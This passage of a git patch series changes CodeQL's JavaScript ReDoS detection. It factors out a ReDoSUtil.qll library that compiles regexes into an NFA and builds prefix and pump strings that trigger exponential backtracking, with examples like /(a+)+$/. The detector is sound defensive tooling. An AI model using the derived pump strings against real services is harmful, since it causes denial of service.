s.getRepr().getLocation() and - delta(s, _, state) - | - s order by loc.getStartLine(), loc.getStartColumn(), loc.getEndLine(), loc.getEndColumn() - ) - | - // greedy search for the shortest prefix - result = prefix(prev) and delta(prev, Epsilon(), state) - or - not delta(prev, Epsilon(), state) and - result = - prefix(prev) + - min(string c | delta(prev, any(InputSymbol symbol | c = intersect(Any(), symbol)), state)) - ) - } - - /** - * A state within a regular expression that has a pumpable state. - */ - class StateInPumpableRegexp extends State { - pragma[noinline] - StateInPumpableRegexp() { - exists(State s | isReDoSCandidate(s, _) | getRoot(s.getRepr()) = getRoot(this.getRepr())) - } - } -} - -/** - * Predicates for testing the presence of a rejecting suffix. - * - * These predicates are used to ensure that the all states reached from the fork - * by repeating `w` have a rejecting suffix. - * - * For example, a regexp like `/^(a+)+/` will accept any string as long the prefix is - * some number of `"a"`s, and it is therefore not possible to construct a rejecting suffix. - * - * A regexp like `/(a+)+$/` or `/(a+)+b/` trivially has a rejecting suffix, - * as the suffix "X" will cause both the regular expressions to be rejected. - * - * The string `w` is repeated any number of times because it needs to be - * infinitely repeatedable for the attack to work. - * For the regular expression `/((ab)+)*abab/` the accepting state is not reachable from the fork - * using epsilon transitions. But any attempt at repeating `w` will end in a state that accepts all suffixes. - */ -module SuffixConstruction { - import PrefixConstruction - - /** - * Holds if all states reachable from `fork` by repeating `w` - * are likely rejectable by appending some suffix. - */ - predicate reachesOnlyRejectableSuffixes(State fork, string w) { - isReDoSCandidate(fork, w) and - forex(State next | next = process(fork, w, w.length() - 1) | isLikelyRejectable(next)) - } - - /** - * Holds if there likely exists a suffix starting from `s` that leads to the regular expression being rejected. - * This predicate might find impossible suffixes when searching for suffixes of length > 1, which can cause FPs. - */ - pragma[nomagic] - private predicate isLikelyRejectable(StateInPumpableRegexp s) { - // exists a reject edge with some char. - hasRejectEdge(s) - or - hasEdgeToLikelyRejectable(s) - or - // stopping here is rejection - isRejectState(s) - } - - /** - * Holds if `s` is not an accept state, and there is no epsilon transition to an accept state. - */ - predicate isRejectState(StateInPumpableRegexp s) { not epsilonSucc*(s) = Accept(_) } - - /** - * Holds if there is likely a non-empty suffix leading to rejection starting in `s`. - */ - predicate hasEdgeToLikelyRejectable(StateInPumpableRegexp s) { - // all edges (at least one) with some char leads to another state that is rejectable. - // the `next` states might not share a common suffix, which can cause FPs. - exists(string char | char = relevant() | - forex(State next | deltaClosedChar(s, char, next) | isLikelyRejectable(next)) - ) - } - - /** - * Holds if there is a state `next` that can be reached from `prev` - * along epsilon edges, such that there is a transition from - * `prev` to `next` that the character symbol `char`. - */ - predicate deltaClosedChar(StateInPumpableRegexp prev, string char, StateInPumpableRegexp next) { - char = relevant() and - deltaClosed(prev, getAnInputSymbolMatching(char), next) - } - - /** - * Gets a char used for finding possible suffixes. - */ - private string relevant() { result = CharacterClasses::getARelevantChar() } - - /** - * Holds if there is no edge from `s` labeled `char` in our NFA. - * The NFA does not model reject states, so the above is the same as saying there is a reject edge. - */ - private predicate hasRejectEdge(State s) { - exists(string char | char = relevant() | not deltaClosedChar(s, char, _)) - } - - /** - * Gets a state that can be reached from pumpable `fork` consuming all - * chars in `w` any number of times followed by the first `i+1` characters of `w`. - */ - private State process(State fork, string w, int i) { - isReDoSCandidate(fork, w) and - exists(State prev | - i = 0 and prev = fork - or - prev = process(fork, w, i - 1) - or - // repeat until fixpoint - i = 0 and - prev = process(fork, w, w.length() - 1) - | - deltaClosed(prev, getAnInputSymbolMatching(w.charAt(i)), result) - ) - } -} - -/** - * Holds if `term` may cause exponential backtracking on strings containing many repetitions of `pump`. - * Gets the minimum possible string that causes exponential backtracking. - */ -predicate isReDoSAttackable(RegExpTerm term, string pump, State s) { - exists(int i, string c | s = Match(term, i) | - c = - min(string w | - isReDoSCandidate(s, w) and - SuffixConstruction::reachesOnlyRejectableSuffixes(s, w) - | - w order by w.length(), w - ) and - pump = escape(rotate(c, i)) - ) -} - -/** - * Holds if repeating `pump' starting at `state` is a candidate for causing exponential backtracking. - * No check whether a rejected suffix exists has been made. - */ -predicate isReDoSCandidate(State state, string pump) { - isPumpable(state, pump) and - ( - not isPumpable(epsilonSucc+(state), _) - or - epsilonSucc+(state) = state and - state = - max(State s, Location l | - s = epsilonSucc+(state) and - l = s.getRepr().getLocation() and - isPumpable(s, _) and - s.getRepr() instanceof InfiniteRepetitionQuantifier - | - s order by l.getStartLine(), l.getStartColumn(), l.getEndColumn(), l.getEndLine() - ) - ) -} - -/** - * Gets the result of backslash-escaping newlines, carriage-returns and - * backslashes in `s`. - */ -bindingset[s] -string escape(string s) { - result = - s.replaceAll("\\", "\\\\") - .replaceAll("\n", "\\n") - .replaceAll("\r", "\\r") - .replaceAll("\t", "\\t") -} - -/** - * Gets `str` with the last `i` characters moved to the front. - * - * We use this to adjust the pump string to match with the beginning of - * a RegExpTerm, so it doesn't start in the middle of a constant. - */ -bindingset[str, i] -string rotate(string str, int i) { - result = str.suffix(str.length() - i) + str.prefix(str.length() - i) + override predicate isReDoSCandidate(State state, string pump) { isPumpable(state, pump) } } from RegExpTerm t, string pump, State s, string prefixMsg -where - isReDoSAttackable(t, pump, s) and - ( - prefixMsg = "starting with '" + escape(PrefixConstruction::prefix(s)) + "' and " and - not PrefixConstruction::prefix(s) = "" - or - PrefixConstruction::prefix(s) = "" and prefixMsg = "" - or - not exists(PrefixConstruction::prefix(s)) and prefixMsg = "" - ) +where hasReDoSResult(t, pump, s, prefixMsg) select t, "This part of the regular expression may cause exponential backtracking on strings " + prefixMsg + "containing many repetitions of '" + pump + "'." diff --git a/javascript/ql/src/semmle/javascript/security/performance/ReDoSUtil.qll b/javascript/ql/src/semmle/javascript/security/performance/ReDoSUtil.qll new file mode 100644 index 00000000000..b71a7c944d7 --- /dev/null +++ b/javascript/ql/src/semmle/javascript/security/performance/ReDoSUtil.qll @@ -0,0 +1,930 @@ +/** + * Provides classes for working with regular expressions that can + * perform backtracking in superlinear/exponential time. + * + * This module contains a number of utility predicates for compiling a regular expression into a NFA and reasoning about this NFA. + * + * The `ReDoSConfiguration` contains a `isReDoSCandidate` predicate that is used to + * to determine which states the prefix/suffix search should happen on. + * There is only meant to exist one `ReDoSConfiguration` at a time. + * + * The predicate `hasReDoSResult` outputs a de-duplicated set of + * states that will cause backtracking (a rejecting suffix exists). + */ + +import javascript + +/** + * A configuration for which parts of a regular expression should be considered relevant for + * the different predicates in `ReDoS.qll`. + * Used to adjust the computations for either superliniear or exponential backtracking. + */ +abstract class ReDoSConfiguration extends string { + bindingset[this] + ReDoSConfiguration() { any() } + + /** + * Holds if `state` with the pump string `pump` is a candidate for a + * ReDoS vulnerable state. + * This is used to determine which states are considered for the prefix/suffix construction. + */ + abstract predicate isReDoSCandidate(State state, string pump); +} + +/** + * Holds if repeating `pump' starting at `state` is a candidate for causing backtracking. + * No check whether a rejected suffix exists has been made. + */ +private predicate isReDoSCandidate(State state, string pump) { + any(ReDoSConfiguration conf).isReDoSCandidate(state, pump) and + ( + not any(ReDoSConfiguration conf).isReDoSCandidate(epsilonSucc+(state), _) + or + epsilonSucc+(state) = state and + state = + max(State s, Location l | + s = epsilonSucc+(state) and + l = s.getRepr().getLocation() and + any(ReDoSConfiguration conf).isReDoSCandidate(s, _) and + s.getRepr() instanceof InfiniteRepetitionQuantifier + | + s order by l.getStartLine(), l.getStartColumn(), l.getEndColumn(), l.getEndLine() + ) + ) +} + +/** + * A regular expression term that permits unlimited repetitions. + */ +class InfiniteRepetitionQuantifier extends RegExpQuantifier { + InfiniteRepetitionQuantifier() { + this instanceof RegExpPlus + or + this instanceof RegExpStar + or + this instanceof RegExpRange and not exists(this.(RegExpRange).getUpperBound()) + } +} + +/** + * Gets the char after `c` (from a simplified ASCII table). + */ +private string nextChar(string c) { exists(int code | code = ascii(c) | code + 1 = ascii(result)) } + +/** + * Gets an approximation for the ASCII code for `char`. + * Only the easily printable chars are included (so no newline, tab, null, etc). + */ +private int ascii(string char) { + char = + rank[result](string c | + c = + "! \"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~" + .charAt(_) + ) +} + +/** + * A branch in a disjunction that is the root node in a literal, or a literal + * whose root node is not a disjunction. + */ +class RegExpRoot extends RegExpTerm { + RegExpParent parent; + + RegExpRoot() { + exists(RegExpAlt alt | + alt.isRootTerm() and + this = alt.getAChild() and + parent = alt.getParent() + ) + or + this.isRootTerm() and + not this instanceof RegExpAlt and + parent = this.getParent() + } + + /** + * Holds if this root term is relevant to the ReDoS analysis. + */ + predicate isRelevant() { + // there is at least one repetition + getRoot(any(InfiniteRepetitionQuantifier q)) = this and + // there are no lookbehinds + not exists(RegExpLookbehind lbh | getRoot(lbh) = this) and + // is actually used as a RegExp + isUsedAsRegExp() + } +} + +/** + * A constant in a regular expression that represents valid Unicode character(s). + */ +private class RegexpCharacterConstant extends RegExpConstant { + RegexpCharacterConstant() { this.isCharacter() } +} + +/** + * An abstract input symbol, representing a set of concrete characters. + */ +private newtype TInputSymbol = + /** An input symbol corresponding to character `c`. */ + Char(string c) { + c = any(RegexpCharacterConstant cc | getRoot(cc).isRelevant()).getValue().charAt(_) + } or + /** + * An input symbol representing all characters matched by + * (non-universal) character class `recc`. + */ + CharClass(RegExpTerm recc) { + getRoot(recc).isRelevant() and + ( + recc instanceof RegExpCharacterClass and + not recc.(RegExpCharacterClass).isUniversalClass() + or + recc instanceof RegExpCharacterClassEscape + ) + } or + /** An input symbol representing all characters matched by `.`. */ + Dot() or + /** An input symbol representing all characters. */ + Any() or + /** An epsilon transition in the automaton. */ + Epsilon() + +/** + * Holds if `a` and `b` are input symbols from the same regexp. + * (And not a `Dot()`, `Any()` or `Epsilon()`) + */ +private predicate sharesRoot(TInputSymbol a, TInputSymbol b) { + exists(RegExpRoot root | + belongsTo(a, root) and + belongsTo(b, root) + ) +} + +/** + * Holds if the `a` is an input symbol from a regexp that has root `root`. + */ +private predicate belongsTo(TInputSymbol a, RegExpRoot root) { + exists(RegExpTerm term | getRoot(term) = root | + a = Char(term.(RegexpCharacterConstant).getValue().charAt(_)) + or + a = CharClass(term) + ) +} + +/** + * An abstract input symbol, representing a set of concrete characters. + */ +class InputSymbol extends TInputSymbol { + InputSymbol() { not this instanceof Epsilon } + + string toString() { + this = Char(result) + or + result = any(RegExpTerm recc | this = CharClass(recc)).toString() + or + this = Dot() and result = "." + or + this = Any() and result = "[^]" + } +} + +/** + * An abstract input symbol that represents a character class. + */ +abstract private class CharacterClass extends InputSymbol { + /** + * Gets a character that is relevant for intersection-tests involving this + * character class. + * + * Specifically, this is any of the characters mentioned explicitly in the + * character class, offset by one if it is inverted. For character class escapes, + * the result is as if the class had been written out as a series of intervals. + * + * This set is large enough to ensure that for any two intersecting character + * classes, one contains a relevant character from the other. + */ + abstract string getARelevantChar(); + + /** + * Holds if this character class matches `char`. + */ + bindingset[char] + abstract predicate matches(string char); + + /** + * Gets a character matched by this character class. + */ + string choose() { result = getARelevantChar() and matches(result) } +} + +/** + * Provides implementations for `CharacterClass`. + */ +private module CharacterClasses { + /** + * Holds if the character class `cc` has a child (constant or range) that matches `char`. + */ + pragma[noinline] + predicate hasChildThatMatches(RegExpCharacterClass cc, string char) { + exists(CharClass(cc)) and + exists(RegExpTerm child | child = cc.getAChild() | + char = child.(RegexpCharacterConstant).getValue() + or + rangeMatchesOnLetterOrDigits(child, char) + or + not rangeMatchesOnLetterOrDigits(child, _) and + char = getARelevantChar() and + exists(string lo, string hi | child.(RegExpCharacterRange).isRange(lo, hi) | + lo <= char and + char <= hi + ) + or + exists(RegExpCharacterClassEscape escape | escape = child | + escape.getValue() = escape.getValue().toLowerCase() and + classEscapeMatches(escape.getValue(), char) + or + char = getARelevantChar() and + escape.getValue() = escape.getValue().toUpperCase() and + not classEscapeMatches(escape.getValue().toLowerCase(), char) + ) + ) + } + + /** + * Holds if `range` is a range on lower-case, upper-case, or digits, and matches `char`. + * This predicate is used to restrict the searchspace for ranges by only joining `getAnyPossiblyMatchedChar` + * on a few ranges. + */ + private predicate rangeMatchesOnLetterOrDigits(RegExpCharacterRange range, string char) { + exists(string lo, string hi | + range.isRange(lo, hi) and lo = lowercaseLetter() and hi = lowercaseLetter() + | + lo <= char and + char <= hi and + char = lowercaseLetter() + ) + or + exists(string lo, string hi | + range.isRange(lo, hi) and lo = upperCaseLetter() and hi = upperCaseLetter() + | + lo <= char and + char <= hi and + char = upperCaseLetter() + ) + or + exists(string lo, string hi | range.isRange(lo, hi) and lo = digit() and hi = digit() | + lo <= char and + char <= hi and + char = digit() + ) + } + + private string lowercaseLetter() { result = "abdcefghijklmnopqrstuvwxyz".charAt(_) } + + private string upperCaseLetter() { result = "ABCDEFGHIJKLMNOPQRSTUVWXYZ".charAt(_) } + + private string digit() { result = [0 .. 9].toString() } + + /** + * Gets a char that could be matched by a regular expression. + * Includes all printable ascii chars, all constants mentioned in a regexp, and all chars matches by the regexp `/\s|\d|\w/`. + */ + string getARelevantChar() { + exists(ascii(result)) + or + exists(RegexpCharacterConstant c | result = c.getValue().charAt(_)) + or + classEscapeMatches(_, result) + } + + /** + * Gets a char that is mentioned in the character class `c`. + */ + private string getAMentionedChar(RegExpCharacterClass c) { + exists(RegExpTerm child | child = c.getAChild() | + result = child.(RegexpCharacterConstant).getValue() + or + child.(RegExpCharacterRange).isRange(result, _) + or + child.(RegExpCharacterRange).isRange(_, result) + or + exists(RegExpCharacterClassEscape escape | child = escape | + result = min(string s | classEscapeMatches(escape.getValue().toLowerCase(), s)) + or + result = max(string s | classEscapeMatches(escape.getValue().toLowerCase(), s)) + ) + ) + } + + /** + * An implementation of `CharacterClass` for positive (non inverted) character classes. + */ + private class PositiveCharacterClass extends CharacterClass { + RegExpCharacterClass cc; + + PositiveCharacterClass() { this = CharClass(cc) and not cc.isInverted() } + + override string getARelevantChar() { result = getAMentionedChar(cc) } + + override predicate matches(string char) { hasChildThatMatches(cc, char) } + } + + /** + * An implementation of `CharacterClass` for inverted character classes. + */ + private class InvertedCharacterClass extends CharacterClass { + RegExpCharacterClass cc; + + InvertedCharacterClass() { this = CharClass(cc) and cc.isInverted() } + + override string getARelevantChar() { + result = nextChar(getAMentionedChar(cc)) or + nextChar(result) = getAMentionedChar(cc) + } + + bindingset[char] + override predicate matches(string char) { not hasChildThatMatches(cc, char) } + } + + /** + * Holds if the character class escape `clazz` (\d, \s, or \w) matches `char`. + */ + pragma[noinline] + private predicate classEscapeMatches(string clazz, string char) { + clazz = "d" and + char = "0123456789".charAt(_) + or + clazz = "s" and + ( + char = [" ", "\t", "\r", "\n"] + or + char = getARelevantChar() and + char.regexpMatch("\\u000b|\\u000c") // \v|\f (vertical tab | form feed) + ) + or + clazz = "w" and + char = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_".charAt(_) + } + + /** + * An implementation of `CharacterClass` for \d, \s, and \w. + */ + private class PositiveCharacterClassEscape extends CharacterClass { + RegExpCharacterClassEscape cc; + + PositiveCharacterClassEscape() { this = CharClass(cc) and cc.getValue() = ["d", "s", "w"] } + + override string getARelevantChar() { + cc.getValue() = "d" and + result = ["0", "9"] + or + cc.getValue() = "s" and + result = [" "] + or + cc.getValue() = "w" and + result = ["a", "Z", "_", "0", "9"] + } + + override predicate matches(string char) { classEscapeMatches(cc.getValue(), char) } + + override string choose() { + cc.getValue() = "d" and + result = "9" + or + cc.getValue() = "s" and + result = [" "] + or + cc.getValue() = "w" and + result = "a" + } + } + + /** + * An implementation of `CharacterClass` for \D, \S, and \W. + */ + private class NegativeCharacterClassEscape extends CharacterClass { + RegExpCharacterClassEscape cc; + + NegativeCharacterClassEscape() { this = CharClass(cc) and cc.getValue() = ["D", "S", "W"] } + + override string getARelevantChar() { + cc.getValue() = "D" and + result = ["a", "Z", "!"] + or + cc.getValue() = "S" and + result = ["a", "9", "!"] + or + cc.getValue() = "W" and + result = [" ", "!"] + } + + bindingset[char] + override predicate matches(string char) { + not classEscapeMatches(cc.getValue().toLowerCase(), char) + } + } +} + +private class EdgeLabel extends TInputSymbol { + string toString() { + this = Epsilon() and result = "" + or + exists(InputSymbol s | this = s and result = s.toString()) + } +} + +/** + * Gets the state before matching `t`. + */ +pragma[inline] +private State before(RegExpTerm t) { result = Match(t, 0) } + +/** + * Gets a state the NFA may be in after matching `t`. + */ +private State after(RegExpTerm t) { + exists(RegExpAlt alt | t = alt.getAChild() | result = after(alt)) + or + exists(RegExpSequence seq, int i | t = seq.getChild(i) | + result = before(seq.getChild(i + 1)) + or + i + 1 = seq.getNumChild() and result = after(seq) + ) + or + exists(RegExpGroup grp | t = grp.getAChild() | result = after(grp)) + or + exists(RegExpStar star | t = star.getAChild() | result = before(star)) + or + exists(RegExpPlus plus | t = plus.getAChild() | + result = before(plus) or + result = after(plus) + ) + or + exists(RegExpOpt opt | t = opt.getAChild() | result = after(opt)) + or + exists(RegExpRoot root | t = root | result = AcceptAnySuffix(root)) +} + +/** + * Holds if the NFA has a transition from `q1` to `q2` labelled with `lbl`. + */ +predicate delta(State q1, EdgeLabel lbl, State q2) { + exists(RegexpCharacterConstant s, int i | + q1 = Match(s, i) and + lbl = Char(s.getValue().charAt(i)) and + ( + q2 = Match(s, i + 1) + or + s.getValue().length() = i + 1 and + q2 = after(s) + ) + ) + or + exists(RegExpDot dot | q1 = before(dot) and q2 = after(dot) | + if dot.getLiteral().isDotAll() then lbl = Any() else lbl = Dot() + ) + or + exists(RegExpCharacterClass cc | + cc.isUniversalClass() and q1 = before(cc) and lbl = Any() and q2 = after(cc) + or + q1 = before(cc) and + lbl = CharClass(cc) and + q2 = after(cc) + ) + or + exists(RegExpCharacterClassEscape cc | + q1 = before(cc) and + lbl = CharClass(cc) and + q2 = after(cc) + ) + or + exists(RegExpAlt alt | lbl = Epsilon() | q1 = before(alt) and q2 = before(alt.getAChild())) + or + exists(RegExpSequence seq | lbl = Epsilon() | q1 = before(seq) and q2 = before(seq.getChild(0))) + or + exists(RegExpGroup grp | lbl = Epsilon() | q1 = before(grp) and q2 = before(grp.getChild(0))) + or + exists(RegExpStar star | lbl = Epsilon() | + q1 = before(star) and q2 = before(star.getChild(0)) + or + q1 = before(star) and q2 = after(star) + ) + or + exists(RegExpPlus plus | lbl = Epsilon() | q1 = before(plus) and q2 = before(plus.getChild(0))) + or + exists(RegExpOpt opt | lbl = Epsilon() | + q1 = before(opt) and q2 = before(opt.getChild(0)) + or + q1 = before(opt) and q2 = after(opt) + ) + or + exists(RegExpRoot root | q1 = AcceptAnySuffix(root) | + lbl = Any() and q2 = q1 + or + lbl = Epsilon() and q2 = Accept(root) + ) + or + exists(RegExpDollar dollar | q1 = before(dollar) | + lbl = Epsilon() and q2 = Accept(getRoot(dollar)) + ) +} + +/** + * Gets a state that `q` has an epsilon transition to. + */ +State epsilonSucc(State q) { delta(q, Epsilon(), result) } + +/** + * Gets a state that has an epsilon transition to `q`. + */ +State epsilonPred(State q) { q = epsilonSucc(result) } + +/** + * Holds if there is a state `q` that can be reached from `q1` + * along epsilon edges, such that there is a transition from + * `q` to `q2` that consumes symbol `s`. + */ +predicate deltaClosed(State q1, InputSymbol s, State q2) { delta(epsilonSucc*(q1), s, q2) } + +/** + * Gets the root containing the given term, that is, the root of the literal, + * or a branch of the root disjunction. + */ +RegExpRoot getRoot(RegExpTerm term) { + result = term or + result = getRoot(term.getParent()) +} + +newtype TState = + Match(RegExpTerm t, int i) { + getRoot(t).isRelevant() and + ( + i = 0 + or + exists(t.(RegexpCharacterConstant).getValue().charAt(i)) + ) + } or + Accept(RegExpRoot l) { l.isRelevant() } or + AcceptAnySuffix(RegExpRoot l) { l.isRelevant() } + +/** + * A state in the NFA corresponding to a regular expression. + * + * Each regular expression literal `l` has one accepting state + * `Accept(l)`, one state that accepts all suffixes `AcceptAnySuffix(l)`, + * and a state `Match(t, i)` for every subterm `t`, + * which represents the state of the NFA before starting to + * match `t`, or the `i`th character in `t` if `t` is a constant. + */ +class State extends TState { + RegExpTerm repr; + + State() { + this = Match(repr, _) or + this = Accept(repr) or + this = AcceptAnySuffix(repr) + } + + string toString() { + exists(int i | this = Match(repr, i) | result = "Match(" + repr + "," + i + ")") + or + this instanceof Accept and + result = "Accept(" + repr + ")" + or + this instanceof AcceptAnySuffix and + result = "AcceptAny(" + repr + ")" + } + + Location getLocation() { result = repr.getLocation() } + + /** + * Gets the term represented by this state. + */ + RegExpTerm getRepr() { result = repr } +} + +/** + * Gets the minimum char that is matched by both the character classes `c` and `d`. + */ +private string getMinOverlapBetweenCharacterClasses(CharacterClass c, CharacterClass d) { + result = min(getAOverlapBetweenCharacterClasses(c, d)) +} + +/** + * Gets a char that is matched by both the character classes `c` and `d`. + * And `c` and `d` is not the same character class. + */ +private string getAOverlapBetweenCharacterClasses(CharacterClass c, CharacterClass d) { + sharesRoot(c, d) and + result = [c.getARelevantChar(), d.getARelevantChar()] and + c.matches(result) and + d.matches(result) and + not c = d +} + +/** + * Gets a character that is represented by both `c` and `d`. + */ +string intersect(InputSymbol c, InputSymbol d) { + c = Char(result) and + d = getAnInputSymbolMatching(result) and + ( + sharesRoot(c, d) + or + d = Dot() + or + d = Any() + ) + or + result = getMinOverlapBetweenCharacterClasses(c, d) + or + result = c.(CharacterClass).choose() and + ( + d = c + or + d = Dot() and + not (result = "\n" or result = "\r") + or + d = Any() + ) + or + c = Dot() and + ( + d = Dot() and result = "a" + or + d = Any() and result = "a" + ) + or + c = Any() and d = Any() and result = "a" + or + result = intersect(d, c) +} + +/** + * Gets a symbol that matches `char`. + */ +bindingset[char] +InputSymbol getAnInputSymbolMatching(string char) { + result = Char(char) + or + result.(CharacterClass).matches(char) + or + result = Dot() and + not (char = "\n" or char = "\r") + or + result = Any() +} + +/** + * Predicates for constructing a prefix string that leads to a given state. + */ +private module PrefixConstruction { + /** + * Holds if `state` starts the string matched by the regular expression. + */ + private predicate isStartState(State state) { + state instanceof StateInPumpableRegexp and + ( + state = Match(any(RegExpRoot r), _) + or + exists(RegExpCaret car | state = after(car)) + ) + } + + /** + * Holds if `state` is the textually last start state for the regular expression. + */ + private predicate lastStartState(State state) { + exists(RegExpRoot root | + state = + max(State s, Location l | + isStartState(s) and getRoot(s.getRepr()) = root and l = s.getRepr().getLocation() + | + s order by l.getStartLine(), l.getStartColumn() + ) + ) + } + + /** + * Holds if there exists any transition (Epsilon() or other) from `a` to `b`. + */ + private predicate existsTransition(State a, State b) { delta(a, _, b) } + + /** + * Gets the minimum number of transitions it takes to reach `state` from the `start` state. + */ + int prefixLength(State start, State state) = + shortestDistances(lastStartState/1, existsTransition/2)(start, state, result) + + /** + * Gets the minimum number of transitions it takes to reach `state` from the start state. + */ + private int lengthFromStart(State state) { result = prefixLength(_, state) } + + /** + * Gets a string for which the regular expression will reach `state`. + * + * Has at most one result for any given `state`. + * This predicate will not always have a result even if there is a ReDoS issue in + * the regular expression. + */ + string prefix(State state) { + lastStartState(state) and + result = "" + or + // the search stops past the last redos candidate state. + lengthFromStart(state) <= max(lengthFromStart(any(State s | isReDoSCandidate(s, _)))) and + exists(State prev | + // select a unique predecessor (by an arbitrary measure) + prev = + min(State s, Location loc | + lengthFromStart(s) = lengthFromStart(state) - 1 and + loc = s.getRepr().getLocation() and + delta(s, _, state) + | + s order by loc.getStartLine(), loc.getStartColumn(), loc.getEndLine(), loc.getEndColumn() + ) + | + // greedy search for the shortest prefix + result = prefix(prev) and delta(prev, Epsilon(), state) + or + not delta(prev, Epsilon(), state) and + result = + prefix(prev) + + min(string c | delta(prev, any(InputSymbol symbol | c = intersect(Any(), symbol)), state)) + ) + } + + /** + * A state within a regular expression that has a pumpable state. + */ + class StateInPumpableRegexp extends State { + pragma[noinline] + StateInPumpableRegexp() { + exists(State s | isReDoSCandidate(s, _) | getRoot(s.getRepr()) = getRoot(this.getRepr())) + } + } +} + +/** + * Predicates for testing the presence of a rejecting suffix. + * + * These predicates are used to ensure that the all states reached from the fork + * by repeating `w` have a rejecting suffix. + * + * For example, a regexp like `/^(a+)+/` will accept any string as long the prefix is + * some number of `"a"`s, and it is therefore not possible to construct a rejecting suffix. + * + * A regexp like `/(a+)+$/` or `/(a+)+b/` trivially has a rejecting suffix, + * as the suffix "X" will cause both the regular expressions to be rejected. + * + * The string `w` is repeated any number of times because it needs to be + * infinitely repeatedable for the attack to work. + * For the regular expression `/((ab)+)*abab/` the accepting state is not reachable from the fork + * using epsilon transitions. But any attempt at repeating `w` will end in a state that accepts all suffixes. + */ +private module SuffixConstruction { + import PrefixConstruction + + /** + * Holds if all states reachable from `fork` by repeating `w` + * are likely rejectable by appending some suffix. + */ + predicate reachesOnlyRejectableSuffixes(State fork, string w) { + isReDoSCandidate(fork, w) and + forex(State next | next = process(fork, w, w.length() - 1) | isLikelyRejectable(next)) + } + + /** + * Holds if there likely exists a suffix starting from `s` that leads to the regular expression being rejected. + * This predicate might find impossible suffixes when searching for suffixes of length > 1, which can cause FPs. + */ + pragma[nomagic] + private predicate isLikelyRejectable(StateInPumpableRegexp s) { + // exists a reject edge with some char. + hasRejectEdge(s) + or + hasEdgeToLikelyRejectable(s) + or + // stopping here is rejection + isRejectState(s) + } + + /** + * Holds if `s` is not an accept state, and there is no epsilon transition to an accept state. + */ + predicate isRejectState(StateInPumpableRegexp s) { not epsilonSucc*(s) = Accept(_) } + + /** + * Holds if there is likely a non-empty suffix leading to rejection starting in `s`. + */ + predicate hasEdgeToLikelyRejectable(StateInPumpableRegexp s) { + // all edges (at least one) with some char leads to another state that is rejectable. + // the `next` states might not share a common suffix, which can cause FPs. + exists(string char | char = relevant() | + forex(State next | deltaClosedChar(s, char, next) | isLikelyRejectable(next)) + ) + } + + /** + * Holds if there is a state `next` that can be reached from `prev` + * along epsilon edges, such that there is a transition from + * `prev` to `next` that the character symbol `char`. + */ + predicate deltaClosedChar(StateInPumpableRegexp prev, string char, StateInPumpableRegexp next) { + char = relevant() and + deltaClosed(prev, getAnInputSymbolMatching(char), next) + } + + /** + * Gets a char used for finding possible suffixes. + */ + private string relevant() { result = CharacterClasses::getARelevantChar() } + + /** + * Holds if there is no edge from `s` labeled `char` in our NFA. + * The NFA does not model reject states, so the above is the same as saying there is a reject edge. + */ + private predicate hasRejectEdge(State s) { + exists(string char | char = relevant() | not deltaClosedChar(s, char, _)) + } + + /** + * Gets a state that can be reached from pumpable `fork` consuming all + * chars in `w` any number of times followed by the first `i+1` characters of `w`. + */ + private State process(State fork, string w, int i) { + isReDoSCandidate(fork, w) and + exists(State prev | + i = 0 and prev = fork + or + prev = process(fork, w, i - 1) + or + // repeat until fixpoint + i = 0 and + prev = process(fork, w, w.length() - 1) + | + deltaClosed(prev, getAnInputSymbolMatching(w.charAt(i)), result) + ) + } +} + +/** + * Gets the result of backslash-escaping newlines, carriage-returns and + * backslashes in `s`. + */ +bindingset[s] +private string escape(string s) { + result = + s.replaceAll("\\", "\\\\") + .replaceAll("\n", "\\n") + .replaceAll("\r", "\\r") + .replaceAll("\t", "\\t") +} + +/** + * Gets `str` with the last `i` characters moved to the front. + * + * We use this to adjust the pump string to match with the beginning of + * a RegExpTerm, so it doesn't start in the middle of a constant. + */ +bindingset[str, i] +private string rotate(string str, int i) { + result = str.suffix(str.length() - i) + str.prefix(str.length() - i) +} + +/** + * Holds if `term` may cause superliniear backtracking on strings containing many repetitions of `pump`. + * Gets the minimum possible string that causes superliniear backtracking. + */ +private predicate isReDoSAttackable(RegExpTerm term, string pump, State s) { + exists(int i, string c | s = Match(term, i) | + c = + min(string w | + any(ReDoSConfiguration conf).isReDoSCandidate(s, w) and + SuffixConstruction::reachesOnlyRejectableSuffixes(s, w) + | + w order by w.length(), w + ) and + pump = escape(rotate(c, i)) + ) +} + +/** + * Holds if the state `s` (represented by the term `t`) can have backtracking with repetitions of `pump`. + * + * `prefixMsg` contains a friendly message for a prefix that reaches `s` (or `prefixMsg` is the empty string if the prefix is empty or if no prefix could be found). + */ +predicate hasReDoSResult(RegExpTerm t, string pump, State s, string prefixMsg) { + isReDoSAttackable(t, pump, s) and + ( + prefixMsg = "starting with '" + escape(PrefixConstruction::prefix(s)) + "' and " and + not PrefixConstruction::prefix(s) = "" + or + PrefixConstruction::prefix(s) = "" and prefixMsg = "" + or + not exists(PrefixConstruction::prefix(s)) and prefixMsg = "" + ) +} diff --git a/javascript/ql/src/semmle/javascript/security/performance/SuperlinearBackTracking.qll b/javascript/ql/src/semmle/javascript/security/performance/SuperlinearBackTracking.qll index 6b3c887ee2b..df1eaf8f764 100644 --- a/javascript/ql/src/semmle/javascript/security/performance/SuperlinearBackTracking.qll +++ b/javascript/ql/src/semmle/javascript/security/performance/SuperlinearBackTracking.qll @@ -4,19 +4,7 @@ */ import javascript - -/** - * A regular expression term that permits unlimited repetitions. - */ -class InfiniteRepetitionQuantifier extends RegExpQuantifier { - InfiniteRepetitionQuantifier() { - this instanceof RegExpPlus - or - this instanceof RegExpStar - or - this instanceof RegExpRange and not exists(this.(RegExpRange).getUpperBound()) - } -} +import ReDoSUtil /** * Holds if `t` matches at least an epsilon symbol. From 7ce91e9146dd79e88a458e76aaabb43f5f46d9b7 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Thu, 17 Dec 2020 17:36:44 +0100 Subject: [PATCH 0322/1241] introduce cannonical representatives of RegExpTerms to decrease the number of InputSymbols in the NFA --- .../security/performance/ReDoSUtil.qll | 63 ++++++++++++++----- .../Performance/ReDoS/ReDoS.expected | 6 +- 2 files changed, 52 insertions(+), 17 deletions(-) diff --git a/javascript/ql/src/semmle/javascript/security/performance/ReDoSUtil.qll b/javascript/ql/src/semmle/javascript/security/performance/ReDoSUtil.qll index 